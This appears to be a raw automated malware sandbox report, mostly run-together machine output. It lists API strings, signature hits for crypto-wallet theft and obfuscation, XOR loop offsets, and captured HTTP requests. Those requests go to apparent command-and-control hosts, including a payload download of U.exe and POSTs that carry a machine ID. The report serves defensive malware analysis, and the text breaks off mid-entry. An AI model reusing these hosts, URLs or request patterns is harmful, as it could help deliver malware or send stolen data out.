overflowbad sequence numberntdll.dll not foundwinmm.dll not foundruntime: g0 stack [panic during mallocpanic holding locksmissing deferreturnunexpected gp.parampanic during panic" (Indicator: "CryptReleaseContext"; Source: "00000000-00006876.00000002.138464.0027E000.00000002.mdmp"), Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptionfile already existsfile does not existfile already closedskip this directorySetTokenInformationGetOverlappedResultMultiByteToWideCharWSADuplicateSocketWembedfollowsymlinksgotestjsonbuildtextmultipartmaxheadersinvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrs37252902984619140625floating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelnotetsleep not on g0bad system page size to unallocated span/gc/scan/stack:bytes/gc/scan/total:bytes/gc/heap/frees:bytes/gc/gomemlimit:bytesp mcache not flushed markroot jobs done" (Indicator: "CertOpenSystemStoreW"; Source: "00000000-00006876.00000002.138464.0027E000.00000002.mdmp"), Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptionfile already existsfile does not existfile already closedskip this directorySetTokenInformationGetOverlappedResultMultiByteToWideCharWSADuplicateSocketWembedfollowsymlinksgotestjsonbuildtextmultipartmaxheadersinvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrs37252902984619140625floating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelnotetsleep not on g0bad system page size to unallocated span/gc/scan/stack:bytes/gc/scan/total:bytes/gc/heap/frees:bytes/gc/gomemlimit:bytesp mcache not flushed markroot jobs done" (Indicator: "CryptAcquireContextW"; Source: "00000000-00006876.00000002.138464.0027E000.00000002.mdmp"), Found api reference "exit hook invoked panicpattern bits too long: connection reset by peerlevel 2 not synchronizedlink number out of rangeout of streams resourcesfunction not implementedstructure needs cleaningnot supported by windowsCertFreeCertificateChainCreateToolhelp32SnapshotGetUserProfileDirectoryWinvalid argument to Intn116415321826934814453125582076609134674072265625tracecheckstackownershiphash of unhashable type span has no free objectsruntime: found obj at *(runtime: VirtualFree of /cgo/go-to-c-calls:calls/gc/heap/objects:objects/sched/latencies:secondsqueuefinalizer during GCcheckfinalizers: queue: update during transitionruntime: markroot index can't scan our own stackgcDrainN phase incorrectpageAlloc: out of memoryruntime: p.searchAddr = range partially overlaps [recovered, repanicked]stack trace unavailable" (Indicator: "CertFreeCertificateChain"; Source: "00000000-00006876.00000002.138464.0027E000.00000002.mdmp") Found api reference "unsafe.String: len out of rangeresource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicy28421709430404007434844970703125slice bounds out of range [::%x]slice bounds out of range [:%x:]slice bounds out of range [%x::] (types from different packages)runtime: failed to release pagesruntime: fixalloc size too largeinvalid limiter event type foundscanstack: goroutine not stoppedscavenger state is already wiredsweep increased allocation countremovespecial on invalid pointerruntime: root level max pages = NtAssociateWaitCompletionPacket" (Indicator: "CertAddCertificateContextToStore"; Source: "00000000-00006876.00000002.138464.0027E000.00000002.mdmp") Found api reference "unsafe.String: len out of rangeresource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicy28421709430404007434844970703125slice bounds out of range [::%x]slice bounds out of range [:%x:]slice bounds out of range [%x::] (types from different packages)runtime: failed to release pagesruntime: fixalloc size too largeinvalid limiter event type foundscanstack: goroutine not stoppedscavenger state is already wiredsweep increased allocation countremovespecial on invalid pointerruntime: root level max pages = NtAssociateWaitCompletionPacket" (Indicator: "CertVerifyCertificateChainPolicy"; Source: "00000000-00006876.00000002.138464.0027E000.00000002.mdmp")29:T3d39,Contains base64 string in header "4AlOWFyECShkqtBrXhaA" in header "GET /list?param=4AlOWFyECShkqtBrXhaA HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.38Host: neuralpulsecore5.sbs" Contains base64 string in header "Keep" in header "GET /list?param=4AlOWFyECShkqtBrXhaA HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.38Host: neuralpulsecore5.sbs" Contains base64 string in header "neuralpulsecore5" in header "GET /list?param=4AlOWFyECShkqtBrXhaA HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.38Host: neuralpulsecore5.sbs" Contains base64 string in header "4AlOWFyECShkqtBrXhaA" in header "GET /doero?param=4AlOWFyECShkqtBrXhaA HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.38Host: neuralpulsecore5.sbs" Contains base64 string in header "Keep" in header "GET /doero?param=4AlOWFyECShkqtBrXhaA HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.38Host: neuralpulsecore5.sbs" Contains base64 string in header "neuralpulsecore5" in header "GET /doero?param=4AlOWFyECShkqtBrXhaA HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.38Host: neuralpulsecore5.sbs" Contains base64 string in header "Keep" in header "GET / HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.38Host: api.myip.com" Contains base64 string in header "myip" in header "GET / HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.38Host: api.myip.com" Contains base64 string in header "Keep" in header "GET /load/os1/U.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.38Host: cloud55file.cc" Contains base64 string in header "Keep" in header "GET /VAVCrfcP6SNX HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.38Host: 95.85.239.146:3000" Contains base64 string in header "3000" in header "GET /VAVCrfcP6SNX HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.38Host: 95.85.239.146:3000" Contains base64 string in header "kosmicheskoe" in header "GET /previews/8/4/0/6/7/176048/176048-astronavt-kosmicheskoe_prostranstvo-kosmos-mir-razvlechenie-500x.jpg HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.38Host: img3.akspic.ru" Contains base64 string in header "prostranstvo" in header "GET /previews/8/4/0/6/7/176048/176048-astronavt-kosmicheskoe_prostranstvo-kosmos-mir-razvlechenie-500x.jpg HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.38Host: img3.akspic.ru" Contains base64 string in header "razvlechenie" in header "GET /previews/8/4/0/6/7/176048/176048-astronavt-kosmicheskoe_prostranstvo-kosmos-mir-razvlechenie-500x.jpg HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.38Host: img3.akspic.ru" Contains base64 string in header "500x" in header "GET /previews/8/4/0/6/7/176048/176048-astronavt-kosmicheskoe_prostranstvo-kosmos-mir-razvlechenie-500x.jpg HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.38Host: img3.akspic.ru" Contains base64 string in header "Keep" in header "GET /previews/8/4/0/6/7/176048/176048-astronavt-kosmicheskoe_prostranstvo-kosmos-mir-razvlechenie-500x.jpg HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.38Host: img3.akspic.ru" Contains base64 string in header "img3" in header "GET /previews/8/4/0/6/7/176048/176048-astronavt-kosmicheskoe_prostranstvo-kosmos-mir-razvlechenie-500x.jpg HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.38Host: img3.akspic.ru" Contains base64 string in header "Keep" in header "GET /ba2NRyfshODL HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.38Host: 95.85.239.146:3000" Contains base64 string in header "3000" in header "GET /ba2NRyfshODL HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.38Host: 95.85.239.146:3000" Contains base64 string in header "POST" in header "POST / HTTP/1.1Host: he.packetcore.ccContent-Type: application/octet-streamX-Request-ID: 0Connection: keep-aliveContent-Length: 98User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "Type" in header "POST / HTTP/1.1Host: he.packetcore.ccContent-Type: application/octet-streamX-Request-ID: 0Connection: keep-aliveContent-Length: 98User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "keep" in header "POST / HTTP/1.1Host: he.packetcore.ccContent-Type: application/octet-streamX-Request-ID: 0Connection: keep-aliveContent-Length: 98User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "aliveContent" in header "POST / HTTP/1.1Host: he.packetcore.ccContent-Type: application/octet-streamX-Request-ID: 0Connection: keep-aliveContent-Length: 98User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "like" in header "POST / HTTP/1.1Host: he.packetcore.ccContent-Type: application/octet-streamX-Request-ID: 0Connection: keep-aliveContent-Length: 98User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "6187" in header "POST / HTTP/1.1Host: he.packetcore.ccContent-Type: application/octet-streamX-Request-ID: 0Connection: keep-aliveContent-Length: 98User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "POST" in header "POST / HTTP/1.1Host: he.packetcore.ccContent-Type: application/octet-streamX-Request-ID: PH53kqLLy7uXUW9mbwCsowConnection: keep-aliveContent-Length: 108User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "Type" in header "POST / HTTP/1.1Host: he.packetcore.ccContent-Type: application/octet-streamX-Request-ID: PH53kqLLy7uXUW9mbwCsowConnection: keep-aliveContent-Length: 108User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "PH53kqLLy7uXUW9mbwCsowConnection" in header "POST / HTTP/1.1Host: he.packetcore.ccContent-Type: application/octet-streamX-Request-ID: PH53kqLLy7uXUW9mbwCsowConnection: keep-aliveContent-Length: 108User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "keep" in header "POST / HTTP/1.1Host: he.packetcore.ccContent-Type: application/octet-streamX-Request-ID: PH53kqLLy7uXUW9mbwCsowConnection: keep-aliveContent-Length: 108User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "aliveContent" in header "POST / HTTP/1.1Host: he.packetcore.ccContent-Type: application/octet-streamX-Request-ID: PH53kqLLy7uXUW9mbwCsowConnection: keep-aliveContent-Length: 108User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "like" in header "POST / HTTP/1.1Host: he.packetcore.ccContent-Type: application/octet-streamX-Request-ID: PH53kqLLy7uXUW9mbwCsowConnection: keep-aliveContent-Length: 108User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "6187" in header "POST / HTTP/1.1Host: he.packetcore.ccContent-Type: application/octet-streamX-Request-ID: PH53kqLLy7uXUW9mbwCsowConnection: keep-aliveContent-Length: 108User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "POST" in header "POST /jdFPs727ae-4Yu HTTP/1.1Host: he.packetcore.ccContent-Type: application/octet-streamX-Request-ID: PH53kqLLy7uXUW9mbwCsowX-Lid: 178005701220DESKTOP-FVVF82Aa3d27cfa-1e7a-4ff8-8004-2be13417b6b1Connection: keep-aliveContent-Length: 32User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "Type" in header "POST /jdFPs727ae-4Yu HTTP/1.1Host: he.packetcore.ccContent-Type: application/octet-streamX-Request-ID: PH53kqLLy7uXUW9mbwCsowX-Lid: 178005701220DESKTOP-FVVF82Aa3d27cfa-1e7a-4ff8-8004-2be13417b6b1Connection: keep-aliveContent-Length: 32User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "1e7a" in header "POST /jdFPs727ae-4Yu HTTP/1.1Host: he.packetcore.ccContent-Type: application/octet-streamX-Request-ID: PH53kqLLy7uXUW9mbwCsowX-Lid: 178005701220DESKTOP-FVVF82Aa3d27cfa-1e7a-4ff8-8004-2be13417b6b1Connection: keep-aliveContent-Length: 32User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "4ff8" in header "POST /jdFPs727ae-4Yu HTTP/1.1Host: he.packetcore.ccContent-Type: application/octet-streamX-Request-ID: PH53kqLLy7uXUW9mbwCsowX-Lid: 178005701220DESKTOP-FVVF82Aa3d27cfa-1e7a-4ff8-8004-2be13417b6b1Connection: keep-aliveContent-Length: 32User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "8004" in header "POST /jdFPs727ae-4Yu HTTP/1.1Host: he.packetcore.ccContent-Type: application/octet-streamX-Request-ID: PH53kqLLy7uXUW9mbwCsowX-Lid: 178005701220DESKTOP-FVVF82Aa3d27cfa-1e7a-4ff8-8004-2be13417b6b1Connection: keep-aliveContent-Length: 32User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "keep" in header "POST /jdFPs727ae-4Yu HTTP/1.1Host: he.packetcore.ccContent-Type: application/octet-streamX-Request-ID: PH53kqLLy7uXUW9mbwCsowX-Lid: 178005701220DESKTOP-FVVF82Aa3d27cfa-1e7a-4ff8-8004-2be13417b6b1Connection: keep-aliveContent-Length: 32User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "aliveContent" in header "POST /jdFPs727ae-4Yu HTTP/1.1Host: he.packetcore.ccContent-Type: application/octet-streamX-Request-ID: PH53kqLLy7uXUW9mbwCsowX-Lid: 178005701220DESKTOP-FVVF82Aa3d27cfa-1e7a-4ff8-8004-2be13417b6b1Connection: keep-aliveContent-Length: 32User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "like" in header "POST /jdFPs727ae-4Yu HTTP/1.1Host: he.packetcore.ccContent-Type: application/octet-streamX-Request-ID: PH53kqLLy7uXUW9mbwCsowX-Lid: 178005701220DESKTOP-FVVF82Aa3d27cfa-1e7a-4ff8-8004-2be13417b6b1Connection: keep-aliveContent-Length: 32User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "6187" in header "POST /jdFPs727ae-4Yu HTTP/1.1Host: he.packetcore.ccContent-Type: application/octet-streamX-Request-ID: PH53kqLLy7uXUW9mbwCsowX-Lid: 178005701220DESKTOP-FVVF82Aa3d27cfa-1e7a-4ff8-8004-2be13417b6b1Connection: keep-aliveContent-Length: 32User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "POST" in header "POST /HJtOyiL~I-WS0SK.BI78 HTTP/1.1Host: he.packetcore.ccContent-Type: application/octet-streamX-Request-ID: PH53kqLLy7uXUW9mbwCsowConnection: keep-aliveContent-Length: 73User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "/HJtOyiL" in header "POST /HJtOyiL~I-WS0SK.BI78 HTTP/1.1Host: he.packetcore.ccContent-Type: application/octet-streamX-Request-ID: PH53kqLLy7uXUW9mbwCsowConnection: keep-aliveContent-Length: 73User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "BI78" in header "POST /HJtOyiL~I-WS0SK.BI78 HTTP/1.1Host: he.packetcore.ccContent-Type: application/octet-streamX-Request-ID: PH53kqLLy7uXUW9mbwCsowConnection: keep-aliveContent-Length: 73User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "Type" in header "POST /HJtOyiL~I-WS0SK.BI78 HTTP/1.1Host: he.packetcore.ccContent-Type: application/octet-streamX-Request-ID: PH53kqLLy7uXUW9mbwCsowConnection: keep-aliveContent-Length: 73User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "PH53kqLLy7uXUW9mbwCsowConnection" in header "POST /HJtOyiL~I-WS0SK.BI78 HTTP/1.1Host: he.packetcore.ccContent-Type: application/octet-streamX-Request-ID: PH53kqLLy7uXUW9mbwCsowConnection: keep-aliveContent-Length: 73User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "keep" in header "POST /HJtOyiL~I-WS0SK.BI78 HTTP/1.1Host: he.packetcore.ccContent-Type: application/octet-streamX-Request-ID: PH53kqLLy7uXUW9mbwCsowConnection: keep-aliveContent-Length: 73User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "aliveContent" in header "POST /HJtOyiL~I-WS0SK.BI78 HTTP/1.1Host: he.packetcore.ccContent-Type: application/octet-streamX-Request-ID: PH53kqLLy7uXUW9mbwCsowConnection: keep-aliveContent-Length: 73User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "like" in header "POST /HJtOyiL~I-WS0SK.BI78 HTTP/1.1Host: he.packetcore.ccContent-Type: application/octet-streamX-Request-ID: PH53kqLLy7uXUW9mbwCsowConnection: keep-aliveContent-Length: 73User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "6187" in header "POST /HJtOyiL~I-WS0SK.BI78 HTTP/1.1Host: he.packetcore.ccContent-Type: application/octet-streamX-Request-ID: PH53kqLLy7uXUW9mbwCsowConnection: keep-aliveContent-Length: 73User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36"2a:T48b,The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings Matched sigs: Able to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains ability to perform AES/RC4 encryption (API string) Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Found Crypto currency wallets related strings Matched sigs: Able to access crypto wallet extension (string) Matched sigs: Tries to steal crypto wallet extension (string) Matched sigs: Contains ability to perform Base64 encoding/decoding Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP Matched sigs: Calls an API typically used to encrypt a block of data Matched sigs: Calls an API typically used to decrypt a block of data Matched sigs: Reads the cryptographic machine GUID Matched sigs: Tries to steal Crypto currency wallets information (file access) Matched sigs: HTTP request contains Base64 encoded artifacts Matched sigs: HTTP requests contain Base64 strings Matched sigs: YARA signature match - ChaCha20 encryption algorithm2b:T2dd9,Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 128783; code bytes = 30d0 Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 128902; code bytes = 30d0 Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 1158738; code bytes = 30d0 Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 1163218; code bytes = 30d0 Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 1163602; code bytes = 30d0 Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 1165862; code bytes = 30d0 Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 1411765; code bytes = 30d0 Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 1508518; code bytes = 30d0 Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 1535683; code bytes = 30d0 Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 1581158; code bytes = 30d0 Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 1625975; code bytes = 30d0 Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 1641539; code bytes = 30d0 Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 1740227; code bytes = 30d0 Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 2079900; code bytes = 30d0 Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 2296803; code bytes = 30d0 Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 2309117; code bytes = 30d0 Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 2311225; code bytes = 30d0 Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 2317315; code bytes = 30d0 Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 2485857; code bytes = 30d0 Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 2508569; code bytes = 30d0 Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 394114; code bytes = 33c1 Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 394248; code bytes = 33c1 Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 1090549; code bytes = 33c1 Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 1150853; code bytes = 33c1 Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 1171589; code bytes = 33c1 Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 1188657; code bytes = 33c1 Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 1228465; code bytes = 33c1 Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 1240647; code bytes = 33c1 Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 1271089; code bytes = 33c1 Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 1304848; code bytes = 33c1 Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 1312471; code bytes = 33c1 Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 1381736; code bytes = 33c1 Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 1382376; code bytes = 33c1 Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 1385606; code bytes = 33c1 Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 1388487; code bytes = 33c1 Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 1482655; code bytes = 33c1 Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 1512977; code bytes = 33c1 Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 1623751; code bytes = 33c1 Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 1625543; code bytes = 33c1 Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 2291575; code bytes = 33c1 Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 568783; code bytes = 8030 Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 568804; code bytes = 8030 Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 568848; code bytes = 8030 Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 568887; code bytes = 8030 Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 568900; code bytes = 8030 Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 797520; code bytes = 8030 Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 931209; code bytes = 8030 Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 943409; code bytes = 8030 Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 969285; code bytes = 8030 Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 1038480; code bytes = 8030 Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 1057847; code bytes = 8030 Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 1101242; code bytes = 8030 Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 1187228; code bytes = 8030 Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 2227860; code bytes = 8030 Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 2288622; code bytes = 8030 Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 2304476; code bytes = 8030 Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 2304932; code bytes = 8030 Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 2305324; code bytes = 8030 Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 2306252; code bytes = 8030 Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 2306880; code bytes = 8030 Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 2308484; code bytes = 8030 Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 2309586; code bytes = 8030 Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 2314552; code bytes = 8030 Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 2317296; code bytes = 8030 Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 2481435; code bytes = 8030 Found XOR loop in file "Bnz1cUXKOXJp1EtKxd4TLzzb.exe" at offset 2497781; code bytes = 8030 Found XOR loop in file 